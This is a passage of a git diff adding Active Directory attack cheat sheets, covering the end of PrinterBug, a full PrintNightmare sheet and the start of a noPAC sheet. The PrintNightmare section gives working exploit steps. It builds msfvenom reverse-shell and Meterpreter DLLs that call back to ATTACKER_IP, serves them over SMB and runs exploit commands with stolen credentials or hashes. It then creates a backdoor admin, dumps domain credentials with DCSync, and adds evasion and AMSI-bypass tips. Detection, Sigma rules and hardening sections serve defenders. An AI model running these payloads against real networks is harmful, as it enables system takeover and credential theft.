+ TargetUserName|contains: 'DC' + filter_dc_to_dc: + IpAddress|startswith: + - '10.10.10.10' # Replace with DC IPs + condition: selection and not filter_dc_to_dc +level: high +``` + +### 🛡️ EDR-Specific Detections + +> [!warning]+ Microsoft Defender for Identity (MDI) +> `ris:Windows` +> 1. **"Suspected NTLM authentication tampering"** — detects NTLM relay following Spooler-coerced authentication +> 2. MDI monitors for DC machine accounts authenticating to non-DC endpoints — a key PrinterBug indicator +> 3. *MDI does not specifically detect the PrinterBug RPC call itself — it detects the anomalous NTLM authentication that results from it* + +> [!warning]+ CrowdStrike Falcon +> `ris:Radar` +> 1. **"Print Spooler Coercion Attack"** — behavioral detection for spoolss pipe manipulation followed by outbound NTLM +> 2. Process tree analysis flags SpoolSample.exe and known coercion tool signatures +> 3. Network-level detection for outbound NTLM from DC machine accounts + +> [!warning]+ Elastic Security +> `ris:FileList` +> 1. Rule: **"Print Spooler Named Pipe Access"** — monitors for remote spoolss pipe connections from unusual sources +> 2. Rule: **"DC Machine Account Authentication to Non-DC"** — correlates 4624 events with DC machine accounts authenticating to workstations + +*** + +## 🔬 Forensic Artifacts + +| Artifact | Location | Details | +|---|---|---| +| **Pipe access** | Event 5145 / Sysmon 17/18 | `\pipe\spoolss` access from attacker IP | +| **NTLM auth** | Event 4624 on relay target | DC machine account Type 3 logon on attacker machine or relay target | +| **TGT cache** (UD path) | UD server LSASS memory | DC01$ TGT cached in the UD server's credential cache — volatile, lost on reboot | +| **Rubeus process** (UD path) | Event 4688 / Sysmon 1 | Rubeus.exe execution on UD server with `monitor` command line | +| **Certificate enrollment** (ESC8 path) | CA Event Log 4886/4887 | Certificate issued for DC machine account | +| **RBCD entry** (LDAPS path) | AD `msDS-AllowedToActOnBehalfOfOtherIdentity` | Delegation configuration artifact | +| **Network capture** | PCAP | MS-RPRN `RpcRemoteFindFirstPrinterChangeNotificationEx` call on `\pipe\spoolss` | + +*** + +> [!important]+ Windows Server Version Differences +> `ris:Windows` +> 1. **Server 2012 R2**: Print Spooler enabled by default; no specific mitigations +> 2. **Server 2016**: Print Spooler enabled by default; Microsoft began recommending disabling Spooler on DCs +> 3. **Server 2019**: Same as 2016; Print Spooler enabled by default but CIS Benchmarks recommend disabling on DCs +> 4. **Server 2022**: Print Spooler still enabled by default; Microsoft's security baseline recommends disabling on DCs +> 5. **Server 2025**: Print Spooler **disabled by default on Server Core installations**; still enabled on Desktop Experience — disable manually on DCs +> 6. *The PrinterBug has never been "patched" — it uses legitimate Print Spooler functionality; the only mitigation is disabling the Spooler service on servers that don't need it* + +*** + +## 🔒 Hardening & Prevention + +```powershell +# ── 1. Disable Print Spooler on DCs and sensitive servers ───────────────────── +Stop-Service -Name Spooler -Force +Set-Service -Name Spooler -StartupType Disabled + +# ── 2. GPO — Disable Print Spooler domain-wide on servers ──────────────────── +# Computer Configuration → Policies → Windows Settings → Security Settings → +# System Services → Print Spooler → Startup Type: Disabled +# Apply to OU containing DCs and sensitive servers (NOT workstations that need printing) + +# ── 3. Block outbound SMB/NTLM from DCs ────────────────────────────────────── +New-NetFirewallRule -DisplayName "Block DC Outbound SMB" ` + -Direction Outbound -Protocol TCP -RemotePort 445 ` + -RemoteAddress "10.10.10.0/24" -Action Block ` + -Profile Domain +# ⚠️ Whitelist other DC IPs for replication traffic + +# ── 4. Remove Unconstrained Delegation from servers ─────────────────────────── +# Review all servers with UD: +Get-ADComputer -Filter { TrustedForDelegation -eq $true } | + Select-Object Name, DistinguishedName +# Migrate to Constrained Delegation or RBCD where possible + +# ── 5. Monitor Print Spooler service status on DCs ─────────────────────────── +# Create a scheduled task that alerts if Spooler is running on a DC: +# Get-Service -Name Spooler | Where-Object { $_.Status -eq 'Running' } + +# ── 6. Enable EPA on ADCS web enrollment (blocks ESC8 chain) ───────────────── +# Same as PetitPotam hardening — protects against relay regardless of coercion method +appcmd.exe set config "Default Web Site/certsrv" ` + /section:windowsAuthentication /extendedProtection.tokenChecking:Require +``` + +*** + +## 🧩 Troubleshooting + +| Error | Cause | Fix | +|---|---|---| +| `rpcdump` shows no Spooler interface | Print Spooler service is disabled on target | Target is hardened; try PetitPotam (Attack #41) or other coercion methods via Coercer | +| `printerbug.py` returns `ERROR_INVALID_HANDLE` | Spooler is running but connection failed | Try specifying the DC FQDN instead of IP; ensure port 445 is accessible | +| Coercion works but no auth received | Target DC can't reach listener IP (firewall) | Verify bidirectional SMB connectivity (port 445); attacker IP must be routable from DC | +| UD server doesn't capture TGT | Listener hostname doesn't resolve in DNS | Use a hostname that resolves in AD DNS; Kerberos requires proper name resolution for TGT forwarding | +| Rubeus monitor shows no tickets | TGT was received but for wrong SPN/account | Verify the UD server has `TrustedForDelegation = True`; check `/targetuser:DC01$` (with dollar sign) | +| `SpoolSample.exe` crashes | .NET version mismatch or missing dependencies | Compile for the target's .NET CLR version; use `printerbug.py` from Linux instead | +| ntlmrelayx relay fails after coercion | SMB signing enforced on relay target or EPA enabled | Switch relay target to HTTP (ADCS) which doesn't enforce signing; or use LDAPS if channel binding is off | +| Coercion succeeds but TGT is for wrong account | Targeting wrong server or Spooler responding as different service | Verify target is the actual DC (not a print server); check `nslookup` for correct IP resolution | + +*** + +## 🗺️ MITRE ATT&CK + +| Tactic | Technique ID | Sub-technique | Procedure | APT Groups | +|---|---|---|---|---| +| **Credential Access** | [T1187](https://attack.mitre.org/techniques/T1187/) | Forced Authentication | Coerce target machine NTLM/Kerberos authentication via MS-RPRN Print Spooler notification callback | Red team operations; demonstrated by Lee Christensen (SpoolSample, 2018) | +| **Credential Access** | [T1557](https://attack.mitre.org/techniques/T1557/) | [.001 — LLMNR/NBT-NS/MDNS](https://attack.mitre.org/techniques/T1557/001/) | Relay coerced NTLM authentication to ADCS, LDAP, or SMB targets | Chained with relay frameworks | +| **Privilege Escalation** | [T1558](https://attack.mitre.org/techniques/T1558/) | Steal or Forge Kerberos Tickets | Capture DC's TGT via Unconstrained Delegation after PrinterBug coercion | Advanced red team operations | + +> [!tip]+ Historical Context +> `fas:Lightbulb` +> 1. The PrinterBug was disclosed by **Lee Christensen (@tifkin_)** at DerbyCon 2018 in the talk "The Unintended Risks of Trusting Active Directory" +> 2. It was originally demonstrated as a way to compromise servers with **Unconstrained Delegation** — the "Printer Bug + UD" attack chain +> 3. After PetitPotam's discovery in 2021, PrinterBug became the "backup" coercion method when MS-EFSR is patched +> 4. *Microsoft considers PrinterBug a "by design" feature of the Print Spooler — it will never be patched; the mitigation is disabling the Spooler* + +*** + +## 🔗 Attack Chain Context + +``` +[PrinterBug] ──→ Coerce target authentication via Print Spooler + │ + ├──→ 🔗 Chains with: Unconstrained Delegation (Attack #15) — TGT capture + ├──→ 🔗 Chains with: ESC8 (Attack #33) — ADCS certificate relay + ├──→ 🔗 Chains with: NTLM relay (Attack #7) — general relay framework + ├──→ 🔗 Related: PetitPotam (Attack #41) — MS-EFSR coercion (similar concept) + ├──→ 🖨️ Requires Print Spooler running (disable on DCs to mitigate) + ├──→ 🔑 UD path: coerce DC → capture TGT on UD server → DCSync (Attack #37) + └──→ 💀 Defeated by: disable Print Spooler on DCs, block outbound SMB, remove UD +``` + +*** + +> ✅ **Attack #42 — PrinterBug complete.** diff --git a/src/content/sheets/active-directory/attack-43-printnightmare-cve-2021-34527.md b/src/content/sheets/active-directory/attack-43-printnightmare-cve-2021-34527.md @@ -0,0 +1,390 @@ +--- +title: "Attack #43 — PrintNightmare (CVE-2021-34527)" +description: "PrintNightmare is a critical RCE vulnerability in the Windows Print Spooler service that allows an authenticated user to execute arbitrary code as SYSTEM…" +category: active-directory +tags: ["active-directory", "credential-access", "privilege-escalation"] +tools: ["Impacket", "Mimikatz", "Metasploit", "Meterpreter", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Five/🔵 Attack #43 — PrintNightmare (CVE-2021-34527).md" +--- +# 🔵 Attack #43 — PrintNightmare (CVE-2021-34527) + +*** + +## 📖 How It Works + +PrintNightmare is a **critical RCE vulnerability** in the Windows Print Spooler service that allows an authenticated user to execute arbitrary code as SYSTEM on any Windows machine with the Print Spooler running — including Domain Controllers. The vulnerability exists in the `RpcAddPrinterDriverEx` function, which doesn't properly validate the caller's permissions before loading a DLL. + +> [!info]+ Technical Deep-Dive — RpcAddPrinterDriverEx Privilege Bypass +> `ris:FileList` +> 1. The [Windows Print Spooler](https://learn.microsoft.com/en-us/windows/win32/printdocs/print-spooler) exposes `RpcAddPrinterDriverEx` (MS-RPRN OpNum 89) to allow remote printer driver installation +> 2. The function accepts a `DRIVER_INFO_2` structure containing the path to a DLL file — intended to be a legitimate printer driver +> 3. **The vulnerability**: The function checks `SeLoadDriverPrivilege` but the check is **bypassable** — any authenticated user can call the function when `APD_INSTALL_WARNED_DRIVER` (0x8000) flag is set +> 4. The attacker hosts a malicious DLL on an SMB share accessible from the target +> 5. The target's Print Spooler service loads the DLL **as SYSTEM** — executing arbitrary code with the highest privileges +> 6. *On a DC, SYSTEM-level execution → DCSync (Attack #37) → full domain compromise* + +> [!important]+ Two CVEs — RCE vs LPE +> `fas:TriangleExclamation` +> 1. **CVE-2021-1675** (June 2021) — Originally classified as **Local Privilege Escalation (LPE)** only; patched in June 2021 Patch Tuesday +> 2. **CVE-2021-34527** (July 2021) — The **Remote Code Execution (RCE)** variant; the June patch was incomplete and didn't fix the remote vector +> 3. Both exploit the same underlying issue in `RpcAddPrinterDriverEx` but via different attack paths: +> - **LPE (CVE-2021-1675)**: Load malicious DLL from a local path → SYSTEM on the local machine +> - **RCE (CVE-2021-34527)**: Load malicious DLL from a remote SMB share → SYSTEM on the remote machine +> 4. *The July 2021 out-of-band patch (KB5004945) addresses the RCE vector; additional hardening (Point and Print restrictions) was added in August 2021* + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Any domain user credentials** | Authentication required (any domain user, no admin needed) | +| **Print Spooler running on target** | Default enabled on all Windows machines | +| **Target is unpatched** | RCE patched July 2021 (KB5004945); LPE patched June 2021 | +| **SMB share accessible** (RCE) | Attacker must host a DLL on an SMB share reachable from the target | +| **Local file path** (LPE) | For the LPE variant, DLL must be on the local filesystem | + +*** + +## 🛠️ Tools + +| Tool | Platform | Version | Notes | +|---|---|---|---| +| [CVE-2021-1675.py](https://github.com/cube0x0/CVE-2021-1675) | Linux/Python | cube0x0's fork of Impacket | RCE exploit — requires modified Impacket | +| [printnightmare.py](https://github.com/cube0x0/CVE-2021-1675) | Linux/Python | Python 3 | Alternative script name for the same exploit | +| [SharpPrintNightmare](https://github.com/cube0x0/SharpPrintNightmare) | Windows (.NET) | Latest | C# exploit for C2 `execute-assembly` — both LPE and RCE | +| [CVE-2021-1675.ps1](https://github.com/calebstewart/CVE-2021-1675) | Windows/PowerShell | Latest | PowerShell LPE exploit (`Invoke-Nightmare`) — creates local admin user | +| [Impacket — smbserver.py](https://github.com/fortra/impacket) | Linux | ≥ 0.9.23 | Host malicious DLL on an SMB share | +| [msfvenom](https://www.metasploit.com/) | Linux | Metasploit ≥ 6.0 | Generate malicious DLL payloads (reverse shell, adduser, etc.) | + +> [!tip]+ Impacket Version Note +> `fas:Lightbulb` +> 1. cube0x0's exploit requires a **modified version of Impacket** that supports `SMB_DIALECT_30` — the standard Impacket may fail with SMB3 negotiation errors +> 2. Install from cube0x0's fork: `pip install git+https://github.com/cube0x0/impacket` +> 3. Or use the standard Impacket with the `--no-smb3` flag if available in your exploit version +> 4. *As of Impacket 0.12.0+, SMB3 support is native — the fork may no longer be necessary* + +*** + +## ⏱️ Time-to-Execute Estimates + +| Operation | Time | Notes | +|---|---|---| +| DLL generation (msfvenom) | **5–10 seconds** | Quick payload compilation | +| SMB server setup | **2–3 seconds** | Start smbserver.py | +| RCE exploitation | **5–15 seconds** | DLL loads as SYSTEM; callback received | +| LPE exploitation (PowerShell) | **3–10 seconds** | Local admin user created | +| Full chain (exploit DC → DCSync) | **30–60 seconds** | SYSTEM on DC → immediate DCSync | + +*** + +## 💻 Full Commands + +### 🔴 RCE — Remote Code Execution (CVE-2021-34527) + +```bash +# ── Step 1: Generate malicious DLL payload ──────────────────────────────────── + +# Reverse shell DLL: +msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 \ + -f dll -o evil.dll + +# Meterpreter DLL: +msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 \ + -f dll -o evil.dll + +# Add local admin user DLL (custom C code compiled): +# The DLL's DllMain runs: net user hacker P@ss123! /add && net localgroup Administrators hacker /add +``` + +```bash +# ── Step 2: Host malicious DLL on SMB share ─────────────────────────────────── +smbserver.py share /path/to/dll/ -smb2support +# Share available at: \\ATTACKER_IP\share\evil.dll +``` + +```bash +# ── Step 3: Exploit (cube0x0 — Impacket) ───────────────────────────────────── +python3 CVE-2021-1675.py corp.local/low_user:'Password1'@DC01.corp.local \ + '\\ATTACKER_IP\share\evil.dll' +# DLL executes as SYSTEM on DC01 → reverse shell or local admin created + +# ── Alternative: printnightmare.py ──────────────────────────────────────────── +python3 printnightmare.py corp.local/low_user:'Password1'@DC01.corp.local \ + -dll '\\ATTACKER_IP\share\evil.dll' + +# ── With Pass-the-Hash ──────────────────────────────────────────────────────── +python3 CVE-2021-1675.py corp.local/low_user@DC01.corp.local \ + -hashes :aabbccdd11223344 '\\ATTACKER_IP\share\evil.dll' +``` + +#### SharpPrintNightmare (C# — for C2) + +```powershell +# ── RCE variant via C2 execute-assembly ─────────────────────────────────────── +execute-assembly /path/to/SharpPrintNightmare.exe \\ATTACKER_IP\share\evil.dll \\DC01.corp.local + +# ── LPE variant (local priv esc on current machine) ────────────────────────── +execute-assembly /path/to/SharpPrintNightmare.exe C:\Temp\evil.dll +``` + +### 🔴 LPE — Local Privilege Escalation (CVE-2021-1675) + +```powershell +# ── PowerShell PoC (Invoke-Nightmare) ───────────────────────────────────────── +Import-Module .\CVE-2021-1675.ps1 +Invoke-Nightmare -DriverName "Xerox" -NewUser "hacker" -NewPassword "P@ssword123!" +# Creates local admin user "hacker" via Print Spooler exploitation +# Runs entirely locally — no SMB share needed + +# ── Verify the user was created ─────────────────────────────────────────────── +net user hacker +net localgroup Administrators +``` + +### 🔴 Post-Exploitation (After SYSTEM on DC) + +```bash +# ── If you got a SYSTEM shell on a DC, immediately DCSync ───────────────────── +# From the SYSTEM shell: +mimikatz.exe +privilege::debug +lsadump::dcsync /domain:corp.local /all /csv + +# ── Or from Linux with the new local admin ──────────────────────────────────── +secretsdump.py corp.local/hacker:'P@ssword123!'@DC01.corp.local \ + -just-dc -outputfile domain_dump +``` + +*** + +## 🎯 OPSEC Tips + +1. **PrintNightmare exploitation is VERY noisy** — the DLL loading generates multiple events (driver installation, service creation, Sysmon image load) and most EDR solutions detect it immediately +2. **Use the LPE variant for lateral movement** when you already have a foothold on a machine — it's less visible than remote RCE because no SMB share access is needed +3. **The SMB share must be accessible from the target** — if outbound SMB is firewalled from the DC, the DLL can't be loaded; consider hosting on an already-compromised internal host +4. **Custom DLLs are stealthier than msfvenom payloads** — msfvenom DLL signatures are well-known; compile a custom DLL with adduser or reverse shell code +5. **Clean up after exploitation** — the printer driver and DLL persist on the target; remove them to reduce forensic evidence +6. **Target workstations, not DCs, when possible** — exploiting a workstation is less monitored than a DC; then use lateral movement to reach the DC + +### 📊 OpSec Ranking + +| Method | Stealth | Speed | Reliability | Notes | +|---|---|---|---|---| +| LPE (PowerShell Invoke-Nightmare) | 🟡 Medium | 🟢 Fast | 🟢 High | Local only; detected by PowerShell logging | +| RCE (cube0x0 + msfvenom DLL) | 🔴 Low | 🟢 Fast | 🟡 Medium | SMB share + known DLL signature = easy detection | +| RCE (custom compiled DLL) | 🟡 Medium | 🟢 Fast | 🟡 Medium | Better than msfvenom but driver install still logged | +| SharpPrintNightmare (C2) | 🟡 Medium | 🟢 Fast | 🟡 Medium | In-memory execution avoids disk artifacts | + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **808** | PrintService/Admin | Printer driver installation failed/suspicious — DLL load events from Print Spooler | +| **316** | PowerShell | PowerShell script execution — `Invoke-Nightmare` or CVE-2021-1675.ps1 | +| **7045** | System Log | New service/driver installed — Print Spooler loading a new "printer driver" | +| **4688** | Security Log | Process creation from spoolsv.exe — child processes spawned by the malicious DLL | +| **Sysmon 7** | Sysmon | Image loaded — DLL loaded by spoolsv.exe from non-standard path (SMB share or temp directory) | +| **Sysmon 11** | Sysmon | File creation — DLL file written to `C:\Windows\System32\spool\drivers\x64\` | +| **Sysmon 1** | Sysmon | Process creation — cmd.exe or powershell.exe spawned as child of spoolsv.exe | +| **Sysmon 3** | Sysmon | Network connection — spoolsv.exe connecting to attacker SMB share | + +### 🔎 Sigma Rules + +```yaml +# ── SigmaHQ — PrintNightmare Exploitation (Spooler Child Process) ───────────── +title: PrintNightmare Exploitation — Suspicious Spooler Child Process +id: dca4d40b-printnight-spooler-child +status: stable +logsource: + product: windows + category: process_creation +detection: + selection: + ParentImage|endswith: '\spoolsv.exe' + Image|endswith: + - '\cmd.exe' + - '\powershell.exe' + - '\pwsh.exe' + - '\rundll32.exe' + - '\net.exe' + - '\net1.exe' + condition: selection +level: critical +tags: + - attack.execution + - attack.t1210 + - cve.2021.34527 +``` + +```yaml +# ── SigmaHQ — Suspicious DLL Loaded by Spooler ─────────────────────────────── +title: DLL Loaded by Print Spooler from Non-Standard Path +id: b5c6d7e8-spooler-dll-load +logsource: + product: windows + category: image_load +detection: + selection: + Image|endswith: '\spoolsv.exe' + filter_legitimate: + ImageLoaded|startswith: + - 'C:\Windows\System32\' + - 'C:\Windows\SysWOW64\' + condition: selection and not filter_legitimate +level: critical +``` + +### 🛡️ EDR-Specific Detections + +> [!warning]+ Microsoft Defender for Identity (MDI) / Defender for Endpoint +> `ris:Windows` +> 1. **"Suspicious printer driver installation"** — detects `RpcAddPrinterDriverEx` calls from non-admin users +> 2. **"Suspicious DLL loading by spoolsv.exe"** — behavioral detection for Print Spooler loading DLLs from SMB shares or temp directories +> 3. Defender for Endpoint has specific PrintNightmare detections that trigger on both the LPE and RCE variants +> 4. *Microsoft considers this a high-priority detection — Defender updates within 24 hours of CVE disclosure included signatures* + +> [!warning]+ CrowdStrike Falcon +> `ris:Radar` +> 1. **"PrintNightmare Exploitation Detected"** — high-fidelity behavioral detection for RpcAddPrinterDriverEx exploitation +> 2. **"Malicious DLL Loaded by Spooler Service"** — monitors spoolsv.exe DLL loading from non-standard paths +> 3. Process tree analysis: `spoolsv.exe → cmd.exe` or `spoolsv.exe → rundll32.exe` = critical alert + +> [!warning]+ Elastic Security +> `ris:FileList` +> 1. Rule: **"PrintNightmare — Suspicious DLL Loaded by Spooler"** — Sysmon Event 7 correlation +> 2. Rule: **"Suspicious Child Process of Spooler Service"** — process creation monitoring +> 3. Rule: **"Remote Printer Driver Installation"** — network-level detection for remote `RpcAddPrinterDriverEx` calls + +*** + +## 🔬 Forensic Artifacts + +| Artifact | Location | Details | +|---|---|---| +| **Printer driver DLL** | `C:\Windows\System32\spool\drivers\x64\3\` | The malicious DLL is copied to the driver store — persists after exploitation | +| **Event 808** | PrintService/Admin log | Driver installation event with DLL path | +| **Event 7045** | System Log | New service/driver installed — includes driver name | +| **spoolsv.exe child processes** | Event 4688 / Sysmon 1 | cmd.exe, powershell.exe, or other executables spawned by spoolsv.exe | +| **SMB connection** | Sysmon 3 / network capture | spoolsv.exe connecting to attacker's SMB share to load the DLL | +| **New local user** (LPE variant) | `net user` / SAM registry | If Invoke-Nightmare was used, a new local admin account exists | +| **Prefetch** | `C:\Windows\Prefetch\` | SPOOLSV.EXE prefetch file shows loaded DLLs | +| **Registry** | `HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\` | Driver registration entries | + +*** + +> [!important]+ Windows Server Version & Patch Timeline +> `ris:Windows` +> 1. **June 2021 (KB5003637)**: CVE-2021-1675 patch — addresses LPE only; RCE still exploitable +> 2. **July 2021 (KB5004945)**: Out-of-band emergency patch for CVE-2021-34527 — addresses RCE; but incomplete — researchers found bypasses +> 3. **August 2021 (KB5005565)**: Additional hardening — `RestrictDriverInstallationToAdministrators` registry key; Point and Print restrictions +> 4. **Server 2012 R2**: Vulnerable; patches available +> 5. **Server 2016**: Vulnerable; patches available; `RestrictDriverInstallationToAdministrators` recommended +> 6. **Server 2019**: Vulnerable; same patch timeline; CVE re-exploitable with Point and Print misconfiguration +> 7. **Server 2022**: Shipped with fixes included; Point and Print restrictions enabled by default +> 8. **Server 2025**: Print Spooler hardened; `RestrictDriverInstallationToAdministrators = 1` by default; Point and Print disabled by default +> 9. *Multiple patch bypasses were discovered after each fix — the definitive mitigation is disabling Print Spooler on servers that don't need it* + +*** + +## 🔒 Hardening & Prevention + +```powershell +# ── 1. Disable Print Spooler on DCs and servers (most effective) ────────────── +Stop-Service -Name Spooler -Force +Set-Service -Name Spooler -StartupType Disabled + +# ── 2. GPO — Disable Spooler on server OUs ─────────────────────────────────── +# Computer Configuration → Policies → Windows Settings → Security Settings → +# System Services → Print Spooler → Startup Type: Disabled + +# ── 3. Restrict printer driver installation to admins only ──────────────────── +Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint" ` + -Name "RestrictDriverInstallationToAdministrators" -Value 1 -Type DWord + +# ── 4. Disable Point and Print restrictions ─────────────────────────────────── +# GPO → Computer Configuration → Admin Templates → Printers → +# "Point and Print Restrictions" = Disabled +# Or registry: +Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint" ` + -Name "NoWarningNoElevationOnInstall" -Value 0 -Type DWord +Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint" ` + -Name "UpdatePromptSettings" -Value 0 -Type DWord + +# ── 5. Restrict Point and Print to approved servers ────────────────────────── +# GPO → Computer Configuration → Admin Templates → Printers → +# "Package Point and Print - Approved Servers" = Enabled +# Server list: only legitimate print servers +Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PackagePointAndPrint" ` + -Name "PackagePointAndPrintServerList" -Value 1 -Type DWord + +# ── 6. Apply all patches ───────────────────────────────────────────────────── +# June 2021: KB5003637 (LPE fix) +# July 2021: KB5004945 (RCE fix) +# August 2021: KB5005565 (hardening — Point and Print restrictions) +# Verify: Get-HotFix | Where-Object { $_.HotFixID -match 'KB5004945|KB5005565' } + +# ── 7. Monitor spoolsv.exe for suspicious child processes ──────────────────── +# Sysmon config: +# <ProcessCreate onmatch="include"> +# <ParentImage condition="end with">spoolsv.exe</ParentImage> +# </ProcessCreate> +# <ImageLoad onmatch="include"> +# <Image condition="end with">spoolsv.exe</Image> +# </ImageLoad> +``` + +*** + +## 🧩 Troubleshooting + +| Error | Cause | Fix | +|---|---|---| +| `STATUS_ACCESS_DENIED` on exploit | Target is patched (July 2021+) | Verify patch status; if patched, this attack path is closed — try other escalation methods | +| DLL not loading — `Path not found` | SMB share not accessible from target or wrong UNC path | Verify `\\ATTACKER_IP\share\evil.dll` is accessible; ensure `smbserver.py` is running with `-smb2support` | +| Exploit succeeds but no callback | DLL payload issue or outbound connection blocked | Test DLL locally first; verify attacker listener is running; check firewall allows outbound from target | +| `Invoke-Nightmare` fails with execution policy | PowerShell constrained language mode or AMSI | Bypass: `powershell -ep bypass`; for AMSI: use in-memory bypass or use the C# variant instead | +| `cube0x0 exploit: SMB3 negotiation failed` | Standard Impacket doesn't support required SMB dialect | Install cube0x0's Impacket fork: `pip install git+https://github.com/cube0x0/impacket` | +| DLL loads but crashes spoolsv.exe | DLL architecture mismatch (x86 vs x64) or bad DLL | Generate x64 DLL: `msfvenom -a x64 ...`; ensure DLL exports `DllMain` correctly | +| Exploit works once but subsequent attempts fail | Spooler service crashed and hasn't restarted | Wait for auto-restart or manually restart: `sc \\DC01 start Spooler` (if you have access) | +| Point and Print bypass doesn't work | August 2021 hardening applied correctly | `RestrictDriverInstallationToAdministrators = 1` blocks all bypasses — this attack path is fully closed | + +*** + +## 🗺️ MITRE ATT&CK + +| Tactic | Technique ID | Sub-technique | Procedure | APT Groups | +|---|---|---|---|---| +| **Privilege Escalation** | [T1068](https://attack.mitre.org/techniques/T1068/) | Exploitation for Privilege Escalation | LPE via CVE-2021-1675 — load malicious DLL as SYSTEM via Print Spooler | Multiple ransomware groups (Magniber, Vice Society) | +| **Lateral Movement** | [T1210](https://attack.mitre.org/techniques/T1210/) | Exploitation of Remote Services | RCE via CVE-2021-34527 — remotely load DLL on target machine as SYSTEM | [Magniber ransomware](https://www.trendmicro.com/en_us/research/21/h/printnightmare-exploited-by-magniber-ransomware.html) | +| **Execution** | [T1569](https://attack.mitre.org/techniques/T1569/) | [.002 — Service Execution](https://attack.mitre.org/techniques/T1569/002/) | Malicious DLL executed as a printer driver service by spoolsv.exe | Chained technique | + +> [!tip]+ Real-World Exploitation +> `fas:Lightbulb` +> 1. **Magniber ransomware** — One of the first ransomware families to incorporate PrintNightmare within weeks of disclosure; targeted South Korean organizations +> 2. **Vice Society** — Used PrintNightmare for initial access and lateral movement in education sector attacks +> 3. **CISA Alert AA21-179A** — Emergency alert warning of active PrintNightmare exploitation in the wild +> 4. *PrintNightmare was weaponized faster than almost any other vulnerability in 2021 — within 48 hours of the PoC being accidentally published on GitHub, active exploitation was detected* + +*** + +## 🔗 Attack Chain Context + +``` +[PrintNightmare] ──→ RCE as SYSTEM on any Windows host + │ + ├──→ 💥 CVE-2021-34527 (RCE) + CVE-2021-1675 (LPE) + ├──→ 🔗 On DC: SYSTEM → DCSync (Attack #37) → full domain compromise + ├──→ 🔗 On workstation: SYSTEM → credential dumping → lateral movement + ├──→ 🔗 Related: PrinterBug (Attack #42) — also Print Spooler, but coercion not RCE + ├──→ 📋 Multiple incomplete patches → verify ALL patches + registry hardening + └──→ 💀 Defeated by: July 2021 patches + August 2021 hardening, disable Print Spooler +``` + +*** + +> ✅ **Attack #43 — PrintNightmare complete.** diff --git a/src/content/sheets/active-directory/attack-44-nopac-sam-the-admin-cve-2021-42278-42287.md b/src/content/sheets/active-directory/attack-44-nopac-sam-the-admin-cve-2021-42278-42287.md @@ -0,0 +1,423 @@ +--- +title: "Attack #44 — noPAC Sam-the-Admin (CVE-2021-42278 42287)" +description: "noPAC (Sam-the-Admin) chains two CVEs to escalate from any domain user to Domain Admin:" +category: active-directory +tags: ["active-directory", "adcs", "kerberos", "privilege-escalation"] +tools: ["NetExec", "Impacket", "Mimikatz", "Rubeus", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Five/🔵 Attack #44 — noPAC Sam-the-Admin (CVE-2021-42278 42287).md" +--- +# 🔵 Attack #44 — noPAC / Sam-the-Admin (CVE-2021-42278/42287) + +*** + +## 📖 How It Works + +noPAC (Sam-the-Admin) chains two CVEs to escalate from any domain user to Domain Admin: + +1. **[CVE-2021-42278](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42278)** — Allows a machine account's `sAMAccountName` to not end with `$`, mimicking user accounts +2. **[CVE-2021-42287](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42287)** — KDC fails to verify PAC when a TGT is requested after renaming an account + +The attacker creates a machine account, renames it to match a DC's `sAMAccountName` (without `$`), requests a TGT, renames it back, then requests a service ticket — the KDC confuses the identity and issues a ticket with DC-level privileges. + +> [!info]+ Technical Deep-Dive — sAMAccountName Confusion & PAC Bypass +> `ris:FileList` +> 1. **Step 1 — Machine Account Creation**: Any domain user can create machine accounts (up to `ms-DS-MachineAccountQuota`, default = 10). The attacker creates a machine account `NOPAC$` +> 2. **Step 2 — sAMAccountName Rename** (CVE-2021-42278): The attacker renames `NOPAC$` to `DC01` (removing the `$` suffix). Normally, machine account sAMAccountNames MUST end with `$` — this CVE bypasses that validation +> 3. **Step 3 — TGT Request**: The attacker requests a TGT as `DC01` using the machine account's known password. The KDC issues a TGT for `DC01` — the account currently named `DC01` +> 4. **Step 4 — Rename Back**: The attacker renames the account back to `NOPAC$` (restoring the `$`) +> 5. **Step 5 — S4U2Self** (CVE-2021-42287): The attacker uses the TGT (issued for `DC01`) to request a service ticket via **S4U2Self**, impersonating Administrator. The KDC looks up `DC01` — the renamed account is now `NOPAC$`, so it doesn't match. The KDC then searches for `DC01$` (appending `$`) and finds the **real Domain Controller** +> 6. **Result**: The KDC issues a service ticket as if the request came from the real `DC01$` machine account — with full DC privileges, including the ability to DCSync +> 7. *The core issue is that the KDC doesn't properly validate the PAC (Privilege Attribute Certificate) when the account name doesn't match — it falls back to appending `$` and finding a different account entirely* + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Any domain user credentials** | To create a machine account (needs MAQ > 0) | +| **MachineAccountQuota > 0** | Default = 10; allows any domain user to create machine accounts | +| **Unpatched DCs** | Patched November 2021 ([KB5008102](https://support.microsoft.com/en-us/help/5008102) / [KB5008380](https://support.microsoft.com/en-us/help/5008380)) | +| **Network access to DC** | Standard Kerberos (TCP 88) and LDAP (TCP 389/636) ports | + +*** + +## 🛠️ Tools + +| Tool | Platform | Version | Notes | +|---|---|---|---| +| [noPac.py](https://github.com/Ridter/noPac) | Linux/Python | Python 3 | Automated exploit — scan + exploit in one command | +| [sam-the-admin](https://github.com/WazeHell/sam-the-admin) | Linux/Python | Python 3 | Alternative automated exploit script | +| [Impacket](https://github.com/fortra/impacket) | Linux | ≥ 0.10.0 | `addcomputer.py`, `renameMachine.py`, `getTGT.py`, `getST.py` — manual exploitation | +| [bloodyAD](https://github.com/CravateRouge/bloodyAD) | Linux/Python | ≥ 